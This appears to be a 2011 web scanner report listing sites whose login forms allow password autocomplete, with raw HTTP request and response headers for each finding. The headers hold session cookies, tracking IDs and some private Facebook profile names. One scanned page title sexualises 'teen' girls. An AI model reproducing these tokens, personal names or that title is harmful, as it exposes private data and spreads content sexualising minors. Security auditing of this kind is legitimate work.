http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /extend/plugins/tweetmeme/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 14:03:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 23579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL:
http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /extend/plugins/wp-pagenavi/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 24 Jan 2011 23:11:13 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 23604
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL:
http://www.adside.com/adside/advertiser.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /adside/advertiser.html HTTP/1.1 Host: www.adside.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:23 GMT ETag: W/"14556-1295025731000" Last-Modified: Fri, 14 Jan 2011 17:22:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 14556 Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
http://www.adside.com/adside/publisher.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /adside/publisher.html HTTP/1.1 Host: www.adside.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:22 GMT ETag: W/"8990-1295025731000" Last-Modified: Fri, 14 Jan 2011 17:22:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8990 Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
http://www.americascupmedia.com/index.php
The form contains the following password field with autocomplete enabled:
psw
Request
GET /index.php HTTP/1.1 Host: www.americascupmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:26 GMT Server: Apache Set-Cookie: PHPSESSID=69ffa747e74ec3fc598608ba70c8ece5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 63617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Americas Cup Media</ ...[SNIP]... <td colspan='2' class='typo_login' align='center'> <form name='identification' action='' method='get' enctype="multipart/form-data"><div id='tab_identite' style='display:none; '> ...[SNIP]... <input name="login" id='login' type="text" class="form" > psw <input name="psw" id='psw' type="password" class="form" > <input type="button" class="form" value="ok" name="submit" id='validezlogin' rel='The "Email" field is not adequately filled'> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
_ctl2:login:txtPassword
Request
GET /soundings/ HTTP/1.1 Host: www.barkerstores.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 14:24:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: ASP.NET_SessionId=etd10v55qnlha3bgxe4zk255; path=/ Set-Cookie: chk_support=check; path=/ Set-Cookie: SOU_CustID=SOU13989; path=/ Set-Cookie: SOU_CartID=SOU-9E35923E-12511; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26388
The page contains a form with the following action URL:
https://portal.dedipower.com/
The form contains the following password field with autocomplete enabled:
pass
Request
GET / HTTP/1.1 Host: www.dedipower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:42 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Set-Cookie: symfony=6hvnhit5lq2d9qcjo8guti4nu0; path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 37440
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]... </h6> <form action="https://portal.dedipower.com" method="post">
The form contains the following password field with autocomplete enabled:
vb_login_password
Request
GET /forums/showthread.php HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.eraser.ee/uudised/joomla.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /uudised/joomla/329-joomla-16-on-saabunud.html HTTP/1.1 Host: www.eraser.ee Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.facebook.com/
The form contains the following password field with autocomplete enabled:
reg_passwd__
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=fYoRD; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 30560
The form contains the following password field with autocomplete enabled:
pass
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=fYoRD; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 30560
The form contains the following password field with autocomplete enabled:
pass
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=NgpY2; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:49 GMT Content-Length: 11704
The form contains the following password field with autocomplete enabled:
pass
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=wYDCq; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Mon, 24 Jan 2011 16:05:02 GMT Content-Length: 11725
The form contains the following password field with autocomplete enabled:
pass
Request
GET /7NEWS HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=aYRu9; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:40 GMT Content-Length: 174522
The form contains the following password field with autocomplete enabled:
pass
Request
GET /LIMEprpromo HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Tpmq1; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 155797
The form contains the following password field with autocomplete enabled:
pass
Request
GET /abid.bahloul HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=6G7wO; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 15128
The form contains the following password field with autocomplete enabled:
pass
Request
GET /apps/application.php?id=62945690879 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=-yM75; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:18 GMT Content-Length: 154403
The form contains the following password field with autocomplete enabled:
pass
Request
GET /beirutcityguide HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=oJmQq; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 156507
The form contains the following password field with autocomplete enabled:
pass
Request
GET /connect/connect.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:12 GMT Content-Length: 11418
The form contains the following password field with autocomplete enabled:
pass
Request
GET /miofeghali HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=eDdkX; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:26 GMT Content-Length: 15117
The form contains the following password field with autocomplete enabled:
pass
Request
GET /paty.kfoury HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=qOxUt; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15074
The form contains the following password field with autocomplete enabled:
pass
Request
GET /plugins/likebox.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:14:46 GMT Content-Length: 11419
The form contains the following password field with autocomplete enabled:
pass
Request
GET /profile.php?id=836605415 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=1Nf86; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15196
The form contains the following password field with autocomplete enabled:
pass
Request
GET /sharer.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=2yleE; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:01:04 GMT Content-Length: 10902
The page contains a form with the following action URL:
https://www.google.com/accounts/ServiceLoginAuth
The form contains the following password field with autocomplete enabled:
Passwd
Request
GET /accounts/Login HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The page contains a form with the following action URL:
https://www.google.com/accounts/ServiceLoginAuth
The form contains the following password field with autocomplete enabled:
Passwd
Request
GET /accounts/ServiceLogin HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The form contains the following password field with autocomplete enabled:
login_password
Request
GET /n/Nonude-Young-and-Beauty-Pretty-Girl-teen-NN-usenet-binaries/x22 HTTP/1.1 Host: www.heroturko.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><head> <title>Nonude Young and Beauty Pretty Girl teen NN usenet binariesx22 H ...[SNIP]... <div style="overflow: hidden; margin-bottom: 25px; padding-right: 15px;"> <form id="loginform" method="post" onsubmit="javascript:showBusyLayer()" action=''>
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /berita-joomla/648-joomla-16-telah-datang HTTP/1.1 Host: www.id-joomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:45:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Set-Cookie: 49291818acdf6a0853370bd89db83d1e=s0aevrt4jrilpgl4pva0tih570; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:45:23 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 45105
The page contains a form with the following action URL:
http://www.joomla.org/login.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /login.html HTTP/1.1 Host: www.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11952431.1295835652.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=11952431.1446326731.1295835652.1295835652.1295835652.1; __utmc=11952431; __utmb=11952431.5.10.1295835652; 205e0a4a54bf75ec79a0fa3b9dc85fc0=41c830520f611d83ab14393c6f4ccb01;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:22:24 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:22:24 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 35785
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /news/joomla-official-news/163-joomla16-arrived HTTP/1.1 Host: www.joomla.org.tw Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: a798c6463d2f54ee9d166568119e0c09=806uqp0b11fh0lrh0emunokum3; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:14 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 56494
The page contains a form with the following action URL:
http://www.joomlacommunity.eu/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /nieuws/joomla-versies/572-joomla-16-nu-beschikbaar.html HTTP/1.1 Host: www.joomlacommunity.eu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
